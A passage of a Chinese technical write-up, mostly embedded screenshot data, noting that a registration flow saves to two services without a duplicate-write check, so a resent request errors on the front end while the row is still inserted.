obXK5tgUONtDAqonx9I68dFryQMwm4JLkWXWtIgroxz7WjhndzS3zwsSmRN8dGQkNYOiGZYI81hBBCCCF6vCwfO6770gvGEAlDQnjyfGo3T+eVAxk845nTc8hwrgPezsvnXo+A5ekvv8K1hH04EylnTR4sev13rh3U0Za633YrIYzKhBBCXOV6ZJa7mCRttuXXf+dS6Sna2wHrRS79uYq2S4AyGvMtRthfgeX1vVz4skUtA9guncZ2WpveGd+Pztw6RDYSEl1lSMIgt3+93vHdvHka6HcXdyZFqc6LB/n97xcyZs0TLNl1Knh5IYQQQohu0BljiM9f+Tn33PVzni47G71KAzmlzrTcSwbP+Nz8aAy3ZwG3Pci9bjMx1VmrziXsQ8Zz+21A1l1ugU2/GxIJIYQQPnT/snRfrk2lz8TPuLS3Rd0oqFz/ZizGhzMYEAPYW7Dtq+LSviouedahDCHmRzfTaSk3T+2mqBjuzfedBDw2ZnBI1VxzjZ8lxX7Y2u1hlbdaw9vhcFD/+LDKG43hXWHToPDKDwxzh0bFEGYSgnDL28O7/vHX+K/f3KfN9Y2jgxjqE/9erm7f++wAspMnc52/Qr6W0evyef6f7/+Rx3Wzv5s+2cbKixcBKPr0Ix6ecjfJuh/929s/Iavevbrt+55gzD6Auyh+YrbsDiuEEEKIzhVkDBEZNRAI2u7i0zp5k6KggU3VTfc8yMSH3uC3ZeOdaQI+f2UJaz7J4Bnncv04fvhABmvy8ln/3d8xbxw485Xe9iCvBlrKLoQQQmh6ZnATI/3nPIhybQWXKo5iO9cOGGHUaGLuTmPgN7VFrDenMSCrP5cqv6D9pDZbM6Yfys0TiJ3+bfondF4LT//tU/aSQbbkhBERyJr5n+75oIZMZvn7w1l/l0euJuDefEdH7wrRUsf7h0+BksGMif2Clw/R0NtmsPSf/2TlZTPZt97Line truncated
再次重发<br>
<a id=img9 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707817869568-2d7fc18c-12ee-4023-8d9e-b3e2847f2410.png#averageHue=%23eaeef3&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=466&amp;id=u2db440ff&amp;originHeight=699&amp;originWidth=1315&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=124517&amp;status=done&amp;style=none&amp;taskId=u071dc63d-aa22-4613-927c-0d805aa9d26&amp;title=&amp;width=876.6666666666666"><img src="data:image/png;base64,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 truncated
发现出现错误<br>
去查看代码处理<br>
<a id=img10 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707817957165-27d162dc-7535-433b-9fa2-f85f94c4381f.png#averageHue=%2321252c&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=414&amp;id=uf3b652bd&amp;originHeight=621&amp;originWidth=1737&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=179453&amp;status=done&amp;style=none&amp;taskId=u1dfd19c9-dc61-4054-9d83-314e3c12be6&amp;title=&amp;width=1158"><img src="data:image/png;base64,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 truncated
并未做多次写入的判断,直接进行了保存<br>
<a id=img11 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707818026651-7a4b60aa-db2c-49e2-93ba-ceaceba990cc.png#averageHue=%23202226&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=699&amp;id=ud6471f76&amp;originHeight=1048&amp;originWidth=1405&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=210962&amp;status=done&amp;style=none&amp;taskId=u0371decc-26ef-4996-bb07-e81b382a398&amp;title=&amp;width=936.6666666666666"><img src="data:image/png;base64,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 truncated
两次<code>userService.save``optionsService.save</code>都进行了保存,在进行<code>insert</code>操作的时候出现了错误,导致前端回显错误<br>
查看数据库表时候,可以看到成功插入<br>
<a id=img12 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707818113101-ebf9f2fe-64ae-4ea2-b495-c58da25391a8.png#averageHue=%23fcfbfb&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=417&amp;id=ubc1ac201&amp;originHeight=625&amp;originWidth=1408&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=77659&amp;status=done&amp;style=none&amp;taskId=ue8ae0be4-a8c6-43e0-8639-7d602747b7d&amp;title=&amp;width=938.6666666666666"><img 